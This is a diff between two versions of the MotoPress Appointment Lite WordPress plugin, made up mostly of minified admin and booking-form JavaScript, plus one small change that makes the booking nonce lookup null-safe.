e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.locationId?"0":String(this.locationId);Q(this.$locationsSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:h().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class Re extends s{constructor(e){super(e),this.cart=new oe,this.steps=new xe(this.cart),this.load()}setupSteps(){this.steps.addStep(new Fe(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new Ve(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new Be(this.$element.find(".mpa-booking-step-cart"),this.cart)),this.steps.mount(this.$element);let e=new Ee;this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.steps.goToStep("cart")}load(){this.setupSteps()}}class je extends s{constructor(e){super(e),this.$table=this.$element.find("table"),this.$rows=this.$table.children("tbody"),this.$addButton=this.$element.find(".mpa-add-button"),this.inputName=this.$element.attr("data-base-name"),this.variations={},this.count=0,this.employees={},this.durations={},this.findVariations(),this.getEmployees(),this.getDurations(),this.clearElement(),this.addListeners()}findVariations(){this.$element.find(".mpa-variation").each(((e,t)=>{let i=jQuery(t),s=i.attr("data-id");this.variations[s]=i,this.count++}))}getEmployees(){this.$element.find(".mpa-employees-list option").each(((e,t)=>{let i=parseInt(t.value),s=t.text;this.employees[i]=s}))}getDurations(){this.$element.find(".mpa-durations-list option").each(((e,t)=>{let i=parseInt(t.value),s=t.text;this.durations[i]=s}))}clearElement(){this.$element.children(".mpa-data-lists").remove()}addListeners(){this.$addButton.on("click",this.addRow.bind(this)),this.$element.find(".mpa-remove-button").on("click",(e=>this.removeRowByElement(e.target)))}addRow(){let e=C(),t=this.renderRow(e);this.$rows.append(t);let i=this.$rows.find('[data-id="'+e+'"]');this.variations[e]=i,this.count++,this.$table.removeClass("mpa-hide"),i.find(".mpa-remove-button").on("click",(e=>this.removeRowByElement(e.target)))}renderRow(e){let t=this.inputName+"["+e+"]",i="";return i+='<tr class="mpa-variation" data-id="'+e+'">',i+='<td class="column-employee">',i+=j(this.employees,0,{name:`${t}[employee]`,class:"mpa-employees"}),i+="</td>",i+='<td class="column-price">',i+='<input class="mpa-price" type="number" name="'+t+'[price]" value="" min="0" step="0.01">',i+="</td>",i+='<td class="column-duration">',i+=j(this.durations,0,{name:`${t}[duration]`,class:"mpa-durations"}),i+="</td>",i+='<td class="column-min-capacity">',i+='<input class="small-text" type="number" name="'+t+'[min_capacity]" value="" min="1" step="1">',i+="</td>",i+='<td class="column-max-capacity">',i+='<input class="small-text" type="number" name="'+t+'[max_capacity]" value="" min="1" step="1">',i+="</td>",i+='<td class="column-actions">'+O("trash","mpa-remove-button")+"</td>",i+="</tr>",i}removeRowByElement(e){let t=jQuery(e).parents(".mpa-variation").attr("data-id");t&&this.removeRow(t)}removeRow(e){this.variations.hasOwnProperty(e)&&(this.variations[e].remove(),delete this.variations[e],this.count--,0===this.count&&this.$table.addClass("mpa-hide"))}}class Ne extends s{constructor(e){super(e),this.$daysContainer=this.$element.find(".mpa-days-container"),this.$formTable=this.$element.find(".mpa-edit-table"),this.$dayInput=this.$formTable.find(".mpa-day-of-week"),this.timeSelects=this.$formTable.find(".mpa-period"),this.$startTimeHoursInput=this.$formTable.find(".mpa-period__start-hours"),this.$startTimeMinutesInput=this.$formTable.find(".mpa-period__start-minutes"),this.$endTimeHoursInput=this.$formTable.find(".mpa-period__end-hours"),this.$endTimeMinutesInput=this.$formTable.find(".mpa-period__end-minutes"),this.$timeAllDayInput=this.$formTable.find(".mpa-period__all-day"),this.$activityInput=this.$formTable.find(".mpa-activity"),this.$locationInput=this.$formTable.find(".mpa-location"),this.$errorWrapper=this.$formTable.find(".mpa-end-time + .mpa-error"),this.$addButton=this.$element.find(".mpa-add-button"),this.$cancelButton=this.$element.find(".mpa-cancel-button"),this.addingPeriod=!1,this.baseName=this.$element.attr("data-base-name"),this.findPeriods(),this.fillActivities(),this.fillLocations(),this.addListeners()}findPeriods(){this.periods={monday:{},tuesday:{},wednesday:{},thursday:{},friday:{},saturday:{},sunday:{}},this.periodsMap={};let e=this;this.$element.find(".mpa-day-period").each((function(t,i){let s=jQuery(i),a=s.attr("data-id"),r=s.children(".mpa-period-day").val(),n=parseInt(s.children(".mpa-period-start").val());e.periods[r][a]={startTime:n,$element:s},e.periodsMap[a]=r}))}fillActivities(){this.activities={},this.$activityInput.children().each(((e,t)=>{let i=t.value,s=t.text;this.activities[i]=s}))}fillLocations(){this.locations={},this.$locationInput.children().each(((e,t)=>{let i=t.value,s=t.text;""!==i&&(this.locations[i]=s)}))}addListeners(){this.$timeAllDayInput.on("change",(e=>{e.target.checked?this.timeSelects.hide():this.timeSelects.show()})),this.$addButton.on("click",(()=>{this.addingPeriod?this.isValidEditingPeriod()?(this.$errorWrapper.addClass("mpa-hide"),this.addPeriod({day:this.getDay(),startTime:this.getStartTime(),endTime:this.getEndTime(),activity:this.getActivity(),location:this.getLocation()}),this.$formTable.addClass("mpa-hide"),this.addingPeriod=!1):this.$errorWrapper.removeClass("mpa-hide"):(this.addingPeriod=!0,this.resetInputs(),this.$formTable.removeClass("mpa-hide"))})),this.$cancelButton.on("click",(()=>{this.$formTable.addClass("mpa-hide"),this.addingPeriod=!1}));let e=this;this.$element.find(".mpa-remove-button").on("click",(function(){e.removePeriodByElement(this)}))}getDay(){return this.$dayInput.val()}getStartTime(){let e=0;return this.$timeAllDayInput.prop("checked")||(e=60*parseInt(this.$startTimeHoursInput.val())+parseInt(this.$startTimeMinutesInput.val())),e}getEndTime(){let e=0;return this.$timeAllDayInput.prop("checked")||(e=60*parseInt(this.$endTimeHoursInput.val())+parseInt(this.$endTimeMinutesInput.val())),e}getActivity(){return this.$activityInput.val()}getLocation(){let e=this.$locationInput.val();return""!==e&&(e=parseInt(e)),e}isValidEditingPeriod(){let e=this.getStartTime(),t=this.getEndTime();return t>e||0===t}addPeriod(e){let t=C(),i=this.renderPeriod(e,t),s=!1;for(let t in this.periods[e.day])if(e.startTime<this.periods[e.day][t].startTime){jQuery(i).insertBefore(this.periods[e.day][t].$element),s=!0;break}s||this.$daysContainer.children('[data-for="'+e.day+'"]').children(".mpa-day-periods").append(i);let a=this.$daysContainer.find('[data-id="'+t+'"]');this.periods[e.day][t]={startTime:e.startTime,$element:a},this.periodsMap[t]=e.day;let r=this;a.find(".mpa-remove-button").on("click",(function(){r.removePeriodByElement(this)}))}renderPeriod(e,t){let i=this.baseName+"["+t+"]",s="";return s+='<div class="mpa-day-period" data-id="'+t+'">',s+='<input type="hidden" name="'+i+'[day]" value="'+e.day+'">',s+='<input type="hidden" name="'+i+'[start]" value="'+e.startTime+'">',s+='<input type="hidden" name="'+i+'[end]" value="'+e.endTime+'">',s+='<input type="hidden" name="'+i+'[activity]" value="'+e.activity+'">',s+='<input type="hidden" name="'+i+'[location]" value="'+e.location+'">',s+='<span class="mpa-period-time">',0===e.startTime&&0===e.startTime&&e.startTime===e.endTime?s+=c("All day","motopress-appointment"):(s+=x(e.startTime),s+="&nbsp;—&nbsp;",s+=x(e.endTime)),s+="</span>",s+=O("trash","mpa-remove-button"),s+="<br>",s+='<span class="mpa-period-activity">',s+=this.activities[e.activity],s+="</span>",""!==e.location&&"work"==e.activity&&(s+="<br>",s+='<span class="mpa-period-location">',s+=d("at %s","Working at %s","motopress-appointment").replace("%s",function(e,t=""){return`<a href="wp-admin/post.php?post=${e}&action=edit" title="`+t+'">'+t+"</a>"}(e.location,this.locations[e.location])),s+="</span>"),s+="</div>",s}removePeriodByElement(e){let t=jQuery(e).parents(".mpa-day-period").attr("data-id");t&&this.removePeriod(t)}removePeriod(e){if(!this.periodsMap.hasOwnProperty(e))return;let t=this.periodsMap[e];this.periods[t][e].$element.remove(),delete this.periods[t][e],delete this.periodsMap[e]}resetInputs(){this.$errorWrapper.addClass("mpa-hide")}onCancel(){this.$formTable.addClass("mpa-hide"),this.addingPeriod=!1}}class He extends s{constructor(e){super(e),this.$input=this.$element.find("input"),this.$datalist=this.$element.find("datalist"),this.$input.on("input",this.reloadUserEmails.bind(this)),this.reloadUserEmails()}reloadUserEmails(){let e=this;jQuery.ajax({url:mpaUserMetaboxSettings.root+"wp/v2/users/",method:"GET",beforeSend:function(e){e.setRequestHeader("X-WP-Nonce",mpaUserMetaboxSettings.nonce)},data:{context:"edit",search:e.$input.val(),per_page:100,orderby:"email"}}).done((function(t){e.$datalist.empty(),t.forEach((t=>{e.$datalist.append('<option value="'+t.email+'"></option>')}))}))}}class Qe{constructor(e){this.$element=e,this.$toggle=e.children(".dropdown-toggle"),this.$menu=e.children(".dropdown-menu"),this.$menuItems=this.$menu.children(".dropdown-item"),this.isDoingClick=!1,this.addListeners(),this.setInited()}addListeners(){this.$toggle.on("click",this.showMenu.bind(this)),this.$toggle.on("blur",this.onBlur.bind(this)),this.$menuItems.on("mousedown",this.beforeClick.bind(this)),this.$menuItems.on("mouseup",this.afterClick.bind(this))}setInited(){this.$element.addClass("inited")}toggleMenu(){this.$menu.toggleClass("show")}showMenu(){this.$menu.addClass("show")}hideMenu(){this.$menu.removeClass("show")}beforeClick(){this.isDoingClick=!0}afterClick(){this.isDoingClick=!1,this.hideMenu()}onBlur(e){this.isDoingClick?e.preventDefault():this.hideMenu()}}new class{constructor(){this.setupComponents(),this.exportInstance()}setupComponents(){this.setupDropdowns()}setupDropdowns(){jQuery(".mpa-dropdown:not(.inited)").each((function(e,t){new Qe(jQuery(t))}))}exportInstance(){var e,t;e="Bootstrap",t=this,null==window.MotoPress&&(window.MotoPress={}),null==window.MotoPress.Appointment&&(window.MotoPress.Appointment={}),window.MotoPress.Appointment[e]=t}},new class{constructor(){this.setupFields(jQuery(".mpa-ctrl:not([data-inited])"))}setupFields(e){e.each((function(e,t){let i=jQuery(t);switch(i.attr("data-type")){case"color-picker":new a(i);break;case"date":new f(i);break;case"image":new $(i);break;case"phone":new w(i);break;case"attributes":new W(i);break;case"custom-workdays":new z(i);break;case"days-off":new K(i);break;case"edit-reservations":new Re(i);break;case"service-variations":new je(i);break;case"timetable":new Ne(i);break;case"employee-user":new He(i)}}))}},new class{constructor(){0!==jQuery("#mpa_appointment_form_metabox").length&&(this.availability=new Ee,this.availability.load().finally((()=>{this.defaultValuesDependency()})),this.$showItemsCategory=jQuery("#_mpa_show_items-category"),this.$showItemsCategoryLabel=this.$showItemsCategory.parent(),this.$showItemsService=jQuery("#_mpa_show_items-service"),this.$showItemsServiceLabel=this.$showItemsService.parent(),this.$defaultValuesCategory=jQuery("#_mpa_default_category"),this.$defaultValuesService=jQuery("#_mpa_default_service"),this.$defaultValuesLocation=jQuery("#_mpa_default_location"),this.$defaultValuesEmployee=jQuery("#_mpa_default_employee"),this.showItemsCategoryProp=this.$showItemsCategory.prop("checked"),this.showItemsCategoryLabelTooltipText=p(c("To enable this option, you need to check the '%s' box.","motopress-appointment"),c("Service","motopress-appointment")),this.showItemsServiceLabelTooltipText=c("To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.","motopress-appointment"),this.dependencyOfShowServiceToDefaultValueOfService(),this.toggleCategoryBasedOnService(),this.addListeners())}addListeners(){this.$showItemsCategory.on("change",(()=>this.updateShowItemsCategoryProp())),this.$showItemsService.on("change",(()=>this.toggleCategoryBasedOnService())),this.$defaultValuesService.on("change",(()=>this.dependencyOfShowServiceToDefaultValueOfService())),this.$showItemsServiceLabel.on("click",(()=>this.makeFocusToServiceSelect())),this.$defaultValuesCategory.on("change",(()=>this.defaultValuesDependency())),this.$defaultValuesService.on("change",(()=>this.defaultValuesDependency())),this.$defaultValuesLocation.on("change",(()=>this.defaultValuesDependency())),this.$defaultValuesEmployee.on("change",(()=>this.defaultValuesDependency()))}updateShowItemsCategoryProp(){this.showItemsCategoryProp=this.$showItemsCategory.prop("checked")}toggleCategoryBasedOnService(){!1===this.$showItemsService.prop("checked")?(this.$showItemsCategory.prop("disabled",!0),this.$showItemsCategory.prop("checked",!1),this.$showItemsCategoryLabel.toggleClass("mpa_tooltip",!0),this.$showItemsCategoryLabel.attr("data-tooltip",this.showItemsCategoryLabelTooltipText)):(this.$showItemsCategory.prop("disabled",!1),this.$showItemsCategory.prop("checked",this.showItemsCategoryProp),this.$showItemsCategoryLabel.toggleClass("mpa_tooltip",!1))}dependencyOfShowServiceToDefaultValueOfService(){this.$defaultValuesService.val()&&"0"!==this.$defaultValuesService.val()?(this.$showItemsService.prop("disabled",!1),this.$showItemsServiceLabel.toggleClass("mpa_tooltip",!1),this.$showItemsServiceLabel.removeAttr("data-tooltip")):(this.$showItemsService.prop("disabled",!0),this.$showItemsService.prop("checked",!0),this.$showItemsServiceLabel.toggleClass("mpa_tooltip",!0),this.$showItemsServiceLabel.attr("data-tooltip",this.showItemsServiceLabelTooltipText))}makeFocusToServiceSelect(){!0===this.$showItemsService.prop("disabled")&&this.$defaultValuesService.focus()}defaultValuesDependency(){const e=jQuery("#_mpa_label_unselected").val(),t=e||c("— Select —","motopress-appointment"),i=jQuery("#_mpa_label_option").val(),s=i||c("— Any —","motopress-appointment"),a=this.$defaultValuesCategory.val(),r=S(this.$defaultValuesService.val()),n=S(this.$defaultValuesEmployee.val()),o=S(this.$defaultValuesLocation.val()),l=this.availability.isAvailableService(r)?r:0,h=this.availability.isAvailableServiceCategory(a)?a:"",d=this.availability.isAvailableLocation(o)?o:0,p=this.availability.isAvailableEmployee(n)?n:0,u=0!==l?this.availability.getServiceCategories(l):this.availability.getAvailableServiceCategories(),m=this.availability.getAvailableServices(h,d,p),g=this.availability.getAvailableLocations(l,p),y=this.availability.getAvailableEmployees(l,d),v=Object.values(this.availability.getServiceCategoriesTree()),f=Object.keys(u);let b;if(0!==l){b=ke(Ce(v,f))}else b=null;const $=Pe(v,this.availability.categoryIndexes,b),I=this.availability.serviceIndexes.filter((e=>m.hasOwnProperty(e))).map((e=>({id:e,name:m[e]}))),w=this.availability.locationIndexes.filter((e=>g.hasOwnProperty(e))).map((e=>({id:e,name:g[e]}))),T=this.availability.employeeIndexes.filter((e=>y.hasOwnProperty(e))).map((e=>({id:e,name:y[e]})));Q(this.$defaultValuesCategory,{"":s},$,u.hasOwnProperty(h)?h:""),Q(this.$defaultValuesService,{"":t},I,m.hasOwnProperty(l)?l:""),Q(this.$defaultValuesLocation,{"":s},w,g.hasOwnProperty(d)?d:""),Q(this.$defaultValuesEmployee,{"":s},T,y.hasOwnProperty(p)?p:"")}}}(wp.date,intlTelInput,mpaData)}();
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/elementor-widgets.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/elementor-widgets.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/elementor-widgets.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/elementor-widgets.js	2026-06-30 15:16:08.000000000 +0000
@@ -2161,6 +2161,7 @@
 	   * @access protected

 	   */
 	  setupProperties() {
+	    var _mpaData$nonces$mpa_c;
 	    /**

 	     * @since 1.0

 	     * @var {Map}

@@ -2200,7 +2201,7 @@
 
 	    // Later, StepPayment will replace the nonce with
 	    // "mpa_create_booking_{$bookingId}"
-	    this.bookingNonce = mpaData.nonces.mpa_create_booking;
+	    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; // Missing for blocks
 	  }
 
 	  /**

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/elementor-widgets.min.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/elementor-widgets.min.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/elementor-widgets.min.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/elementor-widgets.min.js	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-!function(){"use strict";!function(e,t,s){function i(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let s=Math.min(e.length,t.length),i={};for(let a=0;a<s;a++)i[e[a]]=t[a];return i}function n(e,t,s=1){let i=s||1,a=Math.abs(Math.floor((t-e)/i))+1;return[...Array(a).keys()].map((t=>t*s+e))}let o="/motopress/appointment/v1";function l(e,t={},s="GET"){return new Promise(((i,a)=>{wp.apiRequest({path:o+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s="parsererror";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==s&&(s="REST request failed. Maybe PHP error on the server side. Check PHP logs."),a(new Error(s))}))}))}function h(e,t={}){return l(e,t,"GET")}function c(e,t){return l(e,t,"POST")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{h("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,g="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s="")=>e;"undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u("Sun","motopress-appointment"),u("Mon","motopress-appointment"),u("Tue","motopress-appointment"),u("Wed","motopress-appointment"),u("Thu","motopress-appointment"),u("Fri","motopress-appointment"),u("Sat","motopress-appointment")],longhand:[u("Sunday","motopress-appointment"),u("Monday","motopress-appointment"),u("Tuesday","motopress-appointment"),u("Wednesday","motopress-appointment"),u("Thursday","motopress-appointment"),u("Friday","motopress-appointment"),u("Saturday","motopress-appointment")]},months:{shorthand:[u("Jan","motopress-appointment"),u("Feb","motopress-appointment"),u("Mar","motopress-appointment"),u("Apr","motopress-appointment"),g("May","Month (short)","motopress-appointment"),u("Jun","motopress-appointment"),u("Jul","motopress-appointment"),u("Aug","motopress-appointment"),u("Sep","motopress-appointment"),u("Oct","motopress-appointment"),u("Nov","motopress-appointment"),u("Dec","motopress-appointment")],longhand:[u("January","motopress-appointment"),u("February","motopress-appointment"),u("March","motopress-appointment"),u("April","motopress-appointment"),g("May","Month","motopress-appointment"),u("June","motopress-appointment"),u("July","motopress-appointment"),u("August","motopress-appointment"),u("September","motopress-appointment"),u("October","motopress-appointment"),u("November","motopress-appointment"),u("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,s="public"){if("string"==typeof t)return t;if("internal"==s)return f(t,"Y-m-d");if("public"==s)return e.format(m().settings().getDateFormat(),t);let i=(e,t=2)=>("00"+e).slice(-t),a=!1;return s.split("").map((e=>{if(a)return a=!1,e;switch(e){case"\\":return a=!0,"";case"j":return t.getDate();case"d":return i(t.getDate());case"D":return y.weekdays.shorthand[t.getDay()];case"l":return y.weekdays.longhand[t.getDay()];case"N":return t.getDay()||7;case"w":return t.getDay();case"z":let s=new Date(t.getFullYear(),0,1),r=s.getTimezoneOffset()-t.getTimezoneOffset(),n=t-s+60*r*1e3,o=864e5;return Math.floor(n/o);case"W":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)/p+1)/7);case"F":return y.months.longhand[t.getMonth()];case"M":return y.months.shorthand[t.getMonth()];case"m":return i(t.getMonth()+1);case"n":return t.getMonth()+1;case"t":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case"Y":return t.getFullYear();case"y":return String(t.getFullYear()).substring(2);case"L":return t.getFullYear()%4==0?1:0;case"A":return y.amPM[t.getHours()>11?1:0];case"a":return y.amPM[t.getHours()>11?1:0].toLowerCase();case"H":return i(t.getHours());case"h":return i(t.getHours()%12||12);case"G":return t.getHours();case"g":return t.getHours()%12||12;case"i":return i(t.getMinutes());case"s":return i(t.getSeconds());case"v":return i(t.getMilliseconds(),3);case"u":return i(t.getMilliseconds(),3)+"000";case"O":case"P":let d=-t.getTimezoneOffset(),m=d>=0?"+":"-",u=Math.floor(Math.abs(d)/60),g=Math.abs(d)%60,b="O"==e?"":":";return m+i(u)+b+i(g);case"Z":return 60*t.getTimezoneOffset();case"U":return Math.floor(t.getTime()/1e3);case"c":return f(t,"Y-m-d\\TH:i:sP");case"r":return f(t,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return e}})).join("")}function b(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function _(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var S,P,w={exports:{}},C={exports:{}};S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",P={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&P.rotl(e,8)|4278255360&P.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=P.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s<e.length;s++,i+=8)t[i>>>5]|=e[s]<<24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s<32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s<e.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],s=0;s<e.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s<e.length;s+=3)for(var i=e[s]<<16|e[s+1]<<8|e[s+2],a=0;a<4;a++)8*s+6*a<=8*e.length?t.push(S.charAt(i>>>6*(3-a)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],s=0,i=0;s<e.length;i=++s%4)0!=i&&t.push((S.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)<<2*i|S.indexOf(e.charAt(s))>>>6-2*i);return t}},C.exports=P;var k=C.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s<e.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s<e.length;s++)t.push(String.fromCharCode(e[s]));return t.join("")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,s=I,i=T.bin,a=function(r,n){r.constructor==String?r=n&&"binary"===n.encoding?i.stringToBytes(r):t.stringToBytes(r):s(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m<o.length;m++)o[m]=16711935&(o[m]<<8|o[m]>>>24)|4278255360&(o[m]<<24|o[m]>>>8);o[l>>>5]|=128<<l%32,o[14+(l+64>>>9<<4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m<o.length;m+=16){var b=h,v=c,_=p,S=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h